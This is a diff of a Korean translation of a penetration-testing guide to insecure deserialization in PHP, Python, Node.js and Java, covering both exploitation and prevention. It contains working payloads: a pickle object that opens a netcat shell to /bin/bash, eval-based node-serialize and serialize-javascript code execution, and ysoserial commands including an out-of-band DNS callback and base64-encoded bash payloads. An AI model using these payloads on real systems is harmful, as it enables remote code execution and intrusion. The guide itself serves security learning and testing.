* `__wakeup`: 객체가 역직렬화될 때 호출됩니다. 직렬화 중에 손실된 데이터베이스 연결을 다시 설정하고 다른 초기화 작업을 수행하는 데 사용됩니다.
|
||||
* `__unserialize`: 객체가 역직렬화될 때 (존재하는 경우) `__wakeup` 대신 호출됩니다. `__wakeup`에 비해 역직렬화 프로세스에 대해 더 많은 제어를 제공합니다.
|
||||
* `__destruct`: 객체가 소멸되거나 스크립트가 종료될 때 호출됩니다. 파일 핸들을 닫거나 데이터베이스 연결을 종료하는 등 정리 작업에 일반적으로 사용됩니다.
|
||||
* `__toString`: 객체를 문자열로 처리할 수 있게 합니다. 파일을 읽거나 해당 내부의 함수 호출에 기반한 기타 작업에 사용될 수 있으며 객체의 텍스트 표현을 제공합니다.
|
||||
* `__unserialize`: 이 메서드는 객체가 역직렬화될 때 `__wakeup` 대신에 호출됩니다(존재하는 경우). `__wakeup`에 비해 역직렬화 프로세스에 대해 더 많은 제어를 제공합니다.
|
||||
* `__destruct`: 객체가 소멸되거나 스크립트가 종료될 때 호출됩니다. 주로 파일 핸들을 닫거나 데이터베이스 연결을 종료하는 등의 정리 작업에 사용됩니다.
|
||||
* `__toString`: 이 메서드는 객체를 문자열로 처리할 수 있게 합니다. 파일을 읽거나 해당 함수 호출에 기반한 기타 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 제공합니다.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
|
@ -106,7 +106,7 @@ $this->property = $data['property'];
|
|||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
PHP autoload 기능을 악용하여 임의의 php 파일을 로드하고 더 많은 작업을 수행할 수 있습니다:
|
||||
PHP autoload 기능을 악용하여 임의의 php 파일 및 기타 파일을 로드할 수 있습니다:
|
||||
|
||||
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
||||
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
||||
|
@ -114,7 +114,7 @@ PHP autoload 기능을 악용하여 임의의 php 파일을 로드하고 더 많
|
|||
|
||||
### 참조 값 직렬화
|
||||
|
||||
어떤 이유로든 값이 **다른 값에 대한 참조로 직렬화**되길 원한다면:
|
||||
어떤 이유로든 값이 다른 값으로 직렬화된 **참조로 직렬화**하려면:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
|
@ -127,7 +127,7 @@ $o->param1 =& $o->param22;
|
|||
$o->param = "PARAM";
|
||||
$ser=serialize($o);
|
||||
```
|
||||
### PHPGGC (PHP용 ysoserial)
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc)은 PHP 직렬화를 악용하기 위한 payload를 생성하는 데 도움이 될 수 있습니다.\
|
||||
여러 경우에는 응용 프로그램의 소스 코드에서 직렬화를 악용할 방법을 찾을 수 없을 수 있지만 **외부 PHP 확장 프로그램의 코드를 악용할 수도 있습니다.**\
|
||||
|
@ -146,7 +146,7 @@ $ser=serialize($o);
|
|||
|
||||
### **Pickle**
|
||||
|
||||
객체가 언피클될 때 함수 _\_\_reduce\_\__가 실행됩니다.\
|
||||
객체가 unpickle되면 함수 _\_\_reduce\_\__가 실행됩니다.\
|
||||
악용되면 서버가 오류를 반환할 수 있습니다.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
|
@ -155,7 +155,7 @@ def __reduce__(self):
|
|||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
**Pickle jails**로부터 탈출하는 더 많은 정보를 확인하려면:
|
||||
더 많은 정보를 얻으려면 **pickle jails**에서 탈출하는 방법을 확인하세요:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -163,7 +163,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
|||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
다음 페이지는 **yamls** 파이썬 라이브러리에서의 **안전하지 않은 역직렬화를 남용하는 기술**을 소개하고, **Pickle, PyYAML, jsonpickle 및 ruamel.yaml**에 대한 RCE 역직렬화 페이로드를 생성하는 데 사용할 수 있는 도구로 마무리됩니다:
|
||||
다음 페이지는 **yamls** 파이썬 라이브러리에서의 안전하지 않은 역직렬화를 악용하는 기술을 소개하며, **Pickle, PyYAML, jsonpickle 및 ruamel.yaml**에 대한 RCE 역직렬화 페이로드를 생성하는 데 사용할 수 있는 도구로 마무리됩니다:
|
||||
|
||||
{% content-ref url="python-yaml-deserialization.md" %}
|
||||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||||
|
@ -179,10 +179,10 @@ print(base64.b64encode(pickle.dumps(P())))
|
|||
|
||||
### JS Magic Functions
|
||||
|
||||
JS에는 PHP나 Python과 같이 **"매직" 함수**가 없습니다. 이 함수들은 객체를 생성할 때 실행됩니다. 그러나 **`toString`**, **`valueOf`**, **`toJSON`**과 같이 **직접 호출하지 않아도 자주 사용되는 함수**가 있습니다.\
|
||||
역직렬화를 남용하면 이러한 함수들을 **타 코드를 실행하도록 손상시킬 수 있으며**(원형 오염을 남용할 수 있음), 호출될 때 임의의 코드를 실행할 수 있습니다.
|
||||
JS에는 객체를 생성할 때 실행되는 PHP 또는 Python과 같은 **"매직" 함수**가 없습니다. 그러나 **`toString`**, **`valueOf`**, **`toJSON`**과 같이 **직접 호출하지 않아도 자주 사용되는 함수**가 있습니다.\
|
||||
역직렬화를 악용하면 이러한 함수를 **타협**하여 다른 코드를 실행할 수 있습니다(잠재적으로 프로토타입 오염을 악용할 수 있음). 호출될 때 임의의 코드를 실행할 수 있습니다.
|
||||
|
||||
다른 **함수를 직접 호출하지 않고** 호출하는 **"매직" 방법**은 **비동기 함수**(프로미스)에서 반환된 객체를 **손상시키는 것**입니다. 왜냐하면, 그 **반환 객체**를 다른 **프로미스**로 **변환**하면 **함수 유형의 "then"**이라는 **속성**을 가진 **프로미스**가 다른 프로미스에 의해 반환되었기 때문에 **실행**될 것입니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 참조하십시오._
|
||||
직접 호출하지 않고도 함수를 호출하는 **또 다른 "매직" 방법**은 **비동기 함수** (프로미스)에서 반환된 객체를 **타협**하는 것입니다. 왜냐하면, 그 **반환 객체**를 다른 **프로미스**로 **변환**하고 **함수 유형의 "then" 속성**을 가진 **프로미스**로 만들면, 다른 프로미스에 의해 반환되었기 때문에 실행될 것입니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 참조하세요._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
|
@ -208,7 +208,7 @@ test_then()
|
|||
```
|
||||
### `__proto__` 및 `prototype` 오염
|
||||
|
||||
만약 이 기술에 대해 알고 싶다면 **다음 튜토리얼을 확인하세요**:
|
||||
이 기술에 대해 알고 싶다면 **다음 튜토리얼을 확인하십시오**:
|
||||
|
||||
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
||||
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
||||
|
@ -216,7 +216,7 @@ test_then()
|
|||
|
||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||
|
||||
이 라이브러리는 함수를 직렬화할 수 있게 합니다. 예시:
|
||||
이 라이브러리는 함수를 직렬화할 수 있습니다. 예시:
|
||||
```javascript
|
||||
var y = {
|
||||
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
||||
|
@ -231,35 +231,35 @@ console.log("Serialized: \n" + payload_serialized);
|
|||
```
|
||||
예제에서 함수가 직렬화될 때 `_$$ND_FUNC$$_` 플래그가 직렬화된 객체에 추가된다는 것을 볼 수 있습니다.
|
||||
|
||||
`node-serialize/lib/serialize.js` 파일 내부에서 동일한 플래그와 코드가 어떻게 사용되는지 확인할 수 있습니다.
|
||||
`node-serialize/lib/serialize.js` 파일 내부에서 동일한 플래그와 코드가 사용되는 방법을 찾을 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (351).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (446).png>)
|
||||
|
||||
마지막 코드 청크에서 볼 수 있듯이, **플래그가 발견되면** `eval`이 사용되어 함수를 역직렬화하므로 기본적으로 **사용자 입력이 `eval` 함수 내부에서 사용**됩니다.
|
||||
마지막 코드 청크에서 볼 수 있듯이, **플래그가 발견되면** `eval`이 사용되어 함수를 역직렬화하므로 기본적으로 **사용자 입력이 `eval` 함수 내에서 사용**됩니다.
|
||||
|
||||
그러나 함수를 **단순히 직렬화**하는 것만으로는 실행되지 않습니다. 예를 들어 코드의 일부가 **`y.rce`를 호출**해야 하며, 이는 매우 **가능성이 낮습니다**.\
|
||||
그러나 **함수를 단순히 직렬화**하는 것만으로는 실행되지 않습니다. 예를 들어 코드의 일부가 **`y.rce`를 호출**해야 하며, 이는 매우 **가능성이 낮습니다**.\
|
||||
어쨌든, 직렬화된 객체를 **수정하여 괄호를 추가**하여 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 할 수 있습니다.\
|
||||
다음 코드 청크에서 **마지막 괄호**를 주목하고 `unserialize` 함수가 코드를 자동으로 실행하는 방법을 확인하세요:
|
||||
다음 코드 청크에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방법을 주목하세요:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
위에서 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 `eval`을 사용하여 **실행**합니다. 따라서 **코드를 자동으로 실행**하기 위해 **함수 생성 부분을 삭제**하고 마지막 괄호를 삭제하고 다음 예제와 같이 **JS 원라이너를 실행**할 수 있습니다:
|
||||
위에서 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 `eval`을 사용하여 **실행**합니다. 따라서 **코드를 자동으로 실행**하기 위해 함수 생성 부분과 마지막 괄호를 **삭제**하고 다음 예시와 같이 **JS 원라이너를 실행**할 수 있습니다:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
다음에서 이 취약점을 어떻게 악용하는지에 대한 **추가 정보**를 찾을 수 있습니다: [**여기**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/).
|
||||
다음에서 이 취약점을 어떻게 악용하는지에 대한 **추가 정보**를 찾을 수 있습니다: [**여기에서 찾을 수 있습니다**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
**funcster**의 주목할만한 측면은 **표준 내장 객체에 대한 접근 불가능**; 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체의 메소드를 호출하려는 코드 실행이 방지되어 `console.log()` 또는 `require(something)`과 같은 명령을 사용할 때 `"ReferenceError: console is not defined"`과 같은 예외가 발생합니다.
|
||||
**funcster**의 주목할만한 측면은 **표준 내장 객체에 대한 접근 불가능**; 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체의 메서드를 호출하려는 코드 실행이 방지되어 `console.log()` 또는 `require(something)`과 같은 명령을 사용할 때 `"ReferenceError: console is not defined"`과 같은 예외가 발생합니다.
|
||||
|
||||
그러나 이 제한을 우회하는 것이 가능합니다. 특정 접근 방식을 통해 전역 컨텍스트로의 완전한 액세스 복원이 가능합니다. 전역 컨텍스트를 직접 활용하여 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 액세스를 다시 설정할 수 있습니다:
|
||||
그러나 이 제한을 무시하고 전역 컨텍스트에 대한 완전한 액세스를 복원하는 것은 특정 접근 방식을 통해 가능합니다. 전역 컨텍스트를 직접 활용하여 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 액세스를 다시 설정할 수 있습니다:
|
||||
```javascript
|
||||
funcster = require("funcster");
|
||||
//Serialization
|
||||
|
@ -278,7 +278,7 @@ funcster.deepDeserialize(desertest3)
|
|||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
**serialize-javascript** 패키지는 오로지 직렬화 목적으로 설계되었으며 내장 역직렬화 기능이 없습니다. 사용자는 자체 역직렬화 방법을 구현해야 합니다. 직렬화된 데이터를 역직렬화하는 공식 예제에서는 `eval`의 직접적인 사용이 제안됩니다:
|
||||
**serialize-javascript** 패키지는 직렬화 목적으로 설계되었으며 내장 역직렬화 기능이 없습니다. 사용자는 자체 역직렬화 방법을 구현해야 합니다. 직렬화된 데이터를 역직렬화하는 공식 예제에서는 `eval`의 직접 사용이 제안됩니다:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript){
|
||||
return eval('(' + serializedJavascript + ')');
|
||||
|
@ -295,7 +295,7 @@ console.log(test) //function() { return "Hello world!" }
|
|||
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**더 많은 정보를 원하시면** [**이 소스를 읽어보세요**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**더 많은 정보를 원하시면 [이 소스를 읽어보세요](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/).**
|
||||
|
||||
### Cryo 라이브러리
|
||||
|
||||
|
@ -306,9 +306,9 @@ deserialize(test)
|
|||
|
||||
## Java - HTTP
|
||||
|
||||
Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행**됩니다. 이 실행은 악의적인 페이로드를 조작하여 이러한 콜백을 트리거하는 악용자에 의해 악의적인 작업의 실행으로 이어질 수 있습니다.
|
||||
Java에서 **직렬화 콜백은 직렬화 프로세스 중에 실행**됩니다. 이 실행은 악의적인 페이로드를 조작하여 이러한 콜백을 트리거하는 악용자에 의해 악의적인 작업의 실행으로 이어질 수 있습니다.
|
||||
|
||||
### Fingerprints
|
||||
### 지문
|
||||
|
||||
#### White Box
|
||||
|
||||
|
@ -319,8 +319,8 @@ Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행**됩니
|
|||
|
||||
특히 주의를 기울여야 할 사항:
|
||||
|
||||
* 외부 사용자가 정의한 매개변수로 사용된 `XMLDecoder`.
|
||||
* 특히 XStream 버전이 1.46 이하인 경우 `XStream`의 `fromXML` 메서드는 직렬화 문제에 취약합니다.
|
||||
* 외부 사용자가 정의한 매개변수와 함께 사용되는 `XMLDecoder`.
|
||||
* 특히 XStream 버전이 1.46 이하인 경우 `XStream`의 `fromXML` 메서드는 직렬화 문제에 취약하므로 주의가 필요합니다.
|
||||
* `ObjectInputStream`이 `readObject` 메서드와 결합된 경우.
|
||||
* `readObject`, `readObjectNodData`, `readResolve`, 또는 `readExternal`과 같은 메서드의 구현.
|
||||
* `ObjectInputStream.readUnshared`.
|
||||
|
@ -328,20 +328,20 @@ Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행**됩니
|
|||
|
||||
#### Black Box
|
||||
|
||||
블랙 박스 테스트를 위해 특정 **서명 또는 "매직 바이트"**를 찾아보십시오. 이는 자바 직렬화된 객체를 나타냅니다 (`ObjectInputStream`에서 유래):
|
||||
블랙 박스 테스트를 위해 특정 **서명 또는 "매직 바이트"**를 찾아보세요. 이는 자바 직렬화된 객체을 나타냅니다 (`ObjectInputStream`에서 유래):
|
||||
|
||||
* 16진수 패턴: `AC ED 00 05`.
|
||||
* Base64 패턴: `rO0`.
|
||||
* `Content-type`이 `application/x-java-serialized-object`로 설정된 HTTP 응답 헤더.
|
||||
* 압축 전 16진수 패턴: `1F 8B 08 00`.
|
||||
* 압축 전 Base64 패턴: `H4sIA`.
|
||||
* `.faces` 확장자와 `faces.ViewState` 매개변수가 있는 웹 파일. 웹 응용 프로그램에서 이러한 패턴을 발견하면 [Java JSF ViewState Deserialization에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에 자세히 기술된 조사를 유도해야 합니다.
|
||||
* `.faces` 확장자와 `faces.ViewState` 매개변수가 있는 웹 파일. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState Deserialization에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에 자세히 기술된 조사를 유도해야 합니다.
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### 취약 여부 확인
|
||||
### 취약점 여부 확인
|
||||
|
||||
만약 **Java 역직렬화 exploit이 어떻게 작동하는지 배우고 싶다면**, [**기본 Java 역직렬화**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS 역직렬화**](java-dns-deserialization-and-gadgetprobe.md), 그리고 [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)를 살펴보세요.
|
||||
만약 **Java 직렬화 exploit이 어떻게 작동하는지 배우고 싶다면** [**기본 Java 직렬화**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS 직렬화**](java-dns-deserialization-and-gadgetprobe.md), 그리고 [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)를 살펴보세요.
|
||||
|
||||
#### 화이트박스 테스트
|
||||
|
||||
|
@ -350,35 +350,13 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
|||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
당신은 알려진 취약점이 있는 **모든 라이브러리를 확인**하고 [**Ysoserial**](https://github.com/frohoff/ysoserial)이 악용할 수 있는 취약점을 제공하는 라이브러리를 확인할 수 있습니다. 또는 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)에서 지정된 라이브러리를 확인할 수도 있습니다.\
|
||||
가능한 악용할 수 있는 가젯 체인을 검색하기 위해 [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)를 사용할 수도 있습니다.\
|
||||
**gadgetinspector**를 실행할 때 (빌드 후) 경고/오류 메시지가 표시되더라도 신경 쓰지 마시고 완료될 때까지 기다리십시오. 발견된 모든 내용은 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. **gadgetinspector는 악용 코드를 생성하지 않으며 잘못된 양성 결과를 나타낼 수 있습니다**.
|
||||
|
||||
#### 블랙박스 테스트
|
||||
|
||||
Burp 확장 프로그램 [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)를 사용하여 **사용 가능한 라이브러리(버전 포함)**를 식별할 수 있습니다. 이 정보를 통해 취약점을 악용할 payload를 선택하는 것이 **더 쉬워질 수 있습니다**.\
|
||||
[GadgetProbe에 대해 더 알아보려면 이 문서를 읽어보세요](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe는 **`ObjectInputStream` 역직렬화**에 중점을 둡니다.
|
||||
|
||||
Burp 확장 프로그램 [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)를 사용하여 ysoserial로 악용 가능한 **취약한 라이브러리를 식별**하고 **악용**할 수 있습니다.\
|
||||
[Java Deserialization Scanner에 대해 더 알아보려면 이 문서를 읽어보세요](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner는 **`ObjectInputStream`** 역직렬화에 중점을 둡니다.
|
||||
|
||||
[Freddy](https://github.com/nccgroup/freddy)를 사용하여 **Burp**에서 **역직렬화 취약점**을 감지할 수 있습니다. 이 플러그인은 **`ObjectInputStream`** 관련 취약점 뿐만 아니라 **Json** 및 **Yml** 역직렬화 라이브러리의 취약점도 감지합니다. 활성 모드에서는 sleep 또는 DNS 페이로드를 사용하여 확인을 시도합니다.\
|
||||
[Freddy에 대한 자세한 정보는 여기에서 확인할 수 있습니다.](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**직렬화 테스트**
|
||||
|
||||
서버에서 사용 중인 취약한 라이브러리를 확인하는 것만큼 중요한 것은 아닙니다. 때로는 직렬화된 객체 내부의 데이터를 변경하고 일부 확인을 우회할 수도 있습니다(웹 애플리케이션 내에서 관리자 권한을 부여할 수도 있음).\
|
||||
웹 애플리케이션으로 전송되는 Java 직렬화된 객체를 발견하면 [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)를 사용하여 전송된 직렬화 객체를 더 읽기 쉬운 형식으로 출력할 수 있습니다. 보내는 데이터를 알면 수정하여 일부 확인을 우회하는 것이 더 쉬워집니다.
|
||||
|
||||
### **악용**
|
||||
**Exploit**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Java 역직렬화를 악용하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial)입니다 ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). 복잡한 명령(예: 파이프 사용)을 사용할 수 있도록 하는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)도 고려할 수 있습니다.\
|
||||
이 도구는 **`ObjectInputStream`**을 악용하는 데 중점을 두고 있습니다.\
|
||||
주입이 가능한지 테스트하기 위해 **RCE** 페이로드보다 **"URLDNS"** 페이로드를 먼저 사용하는 것이 좋습니다. 그래도 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있습니다.
|
||||
자바 역직렬화를 악용하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial) ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))입니다. 복잡한 명령어(예: 파이프 사용)를 사용할 수 있도록 하는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)도 고려할 수 있습니다.\
|
||||
이 도구는 **`ObjectInputStream`**을 악용하는 데 초점을 맞추고 있습니다.\
|
||||
인젝션이 가능한지 테스트하기 위해 RCE 페이로드보다는 **"URLDNS"** 페이로드를 먼저 사용하는 것이 좋습니다. 그래도 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있음을 유의하세요.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
|
@ -423,7 +401,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
|||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때는 ">" 또는 "|"와 같은 특수 문자를 사용할 수 없으며, "$()"를 사용하여 명령을 실행하거나 명령에 **공백**으로 구분된 **인수를 전달**할 수 없습니다 (`echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하려면 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다.
|
||||
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때는 실행의 출력을 리다이렉트하기 위해 ">" 또는 "|"와 같은 특수 문자를 사용할 수 없으며, 명령을 실행하거나 명령에 **공백**으로 구분된 **인수를 전달**할 수 없습니다 (`echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하려면 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다.
|
||||
|
||||
취약한 웹 페이지에서 **Windows 및 Linux에 대한 모든 가능한 코드 실행** 페이로드를 생성하고 테스트하기 위해 다음 스크립트를 자유롭게 사용하십시오:
|
||||
```python
|
||||
|
@ -448,7 +426,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|||
```
|
||||
#### 시리얼킬러바이패스가젯
|
||||
|
||||
[**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection)을 **사용하여** ysoserial과 함께 더 많은 익스플로잇을 생성할 수 있습니다. 이 도구에 대한 자세한 정보는 도구가 소개된 **발표 자료**에서 확인할 수 있습니다: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
[**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection)을 **ysoserial과 함께 사용하여 더 많은 익스플로잇을 생성**할 수 있습니다. 이 도구에 대한 자세한 정보는 도구가 소개된 **발표 자료**에서 확인할 수 있습니다: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
|
@ -475,7 +453,7 @@ mvn clean package -DskipTests
|
|||
```
|
||||
#### FastJSON
|
||||
|
||||
이 Java JSON 라이브러리에 대해 더 읽어보세요: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
이 Java JSON 라이브러리에 대해 자세히 알아보세요: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
|
||||
### Labs
|
||||
|
||||
|
@ -487,14 +465,14 @@ mvn clean package -DskipTests
|
|||
Java는 다음과 같은 다양한 목적으로 직렬화를 많이 사용합니다:
|
||||
|
||||
* **HTTP 요청**: 직렬화는 매개변수, ViewState, 쿠키 관리 등에서 널리 사용됩니다.
|
||||
* **RMI (원격 메서드 호출)**: 직렬화에 완전히 의존하는 Java RMI 프로토콜은 Java 애플리케이션에서 원격 통신의 중추 역할을 합니다.
|
||||
* **RMI (원격 메서드 호출)**: 직렬화에 완전히 의존하는 Java RMI 프로토콜은 Java 애플리케이션에서 원격 통신의 중추입니다.
|
||||
* **HTTP를 통한 RMI**: 이 방법은 Java 기반의 두꺼운 클라이언트 웹 애플리케이션에서 일반적으로 사용되며 모든 객체 통신에 대해 직렬화를 사용합니다.
|
||||
* **JMX (Java 관리 확장)**: JMX는 네트워크를 통해 객체를 전송하기 위해 직렬화를 사용합니다.
|
||||
* **사용자 정의 프로토콜**: Java에서는 원시 Java 객체의 전송이 일반적이며 이는 다가오는 악용 예제에서 설명될 것입니다.
|
||||
|
||||
### Prevention
|
||||
|
||||
#### 일시적 객체
|
||||
#### Transient objects
|
||||
|
||||
`Serializable`을 구현하는 클래스는 직렬화되지 말아야 하는 클래스 내의 모든 객체를 `transient`로 구현할 수 있습니다. 예를 들어:
|
||||
```java
|
||||
|
@ -515,10 +493,10 @@ throw new java.io.IOException("Cannot be deserialized");
|
|||
|
||||
**`java.io.ObjectInputStream`을 사용자 정의**하는 것은 역직렬화 프로세스를 보호하는 실용적인 방법입니다. 이 방법은 다음 경우에 적합합니다:
|
||||
|
||||
* 역직렬화 코드가 당신의 통제 아래에 있는 경우.
|
||||
* 역직렬화 코드가 제어 가능한 경우.
|
||||
* 역직렬화를 위해 예상되는 클래스가 알려진 경우.
|
||||
|
||||
**`resolveClass()`** 메소드를 오버라이드하여 허용된 클래스로의 역직렬화를 제한합니다. 이를 통해 명시적으로 허용된 클래스인 `Bicycle` 클래스로의 역직렬화만 허용하는 다음 예제와 같이 어떤 클래스의 역직렬화도 방지할 수 있습니다:
|
||||
**`resolveClass()`** 메서드를 재정의하여 허용된 클래스로 역직렬화를 제한합니다. 이를 통해 `Bicycle` 클래스로의 역직렬화만 허용하는 다음 예제와 같이 명시적으로 허용된 클래스 이외의 클래스의 역직렬화를 방지할 수 있습니다:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
|
@ -539,7 +517,7 @@ return super.resolveClass(desc);
|
|||
}
|
||||
}
|
||||
```
|
||||
**보안 향상을 위한 Java 에이전트 사용**은 코드 수정이 불가능할 때 대안적인 해결책을 제공합니다. 이 방법은 주로 **해로운 클래스를 블랙리스트에 등록**하여 JVM 매개변수를 사용합니다:
|
||||
**보안 향상을 위한 Java 에이전트 사용**은 코드 수정이 불가능할 때 대안적인 해결책을 제공합니다. 이 방법은 주로 **해로운 클래스를 블랙리스트하는** 데 적용되며 JVM 매개변수를 사용합니다:
|
||||
```
|
||||
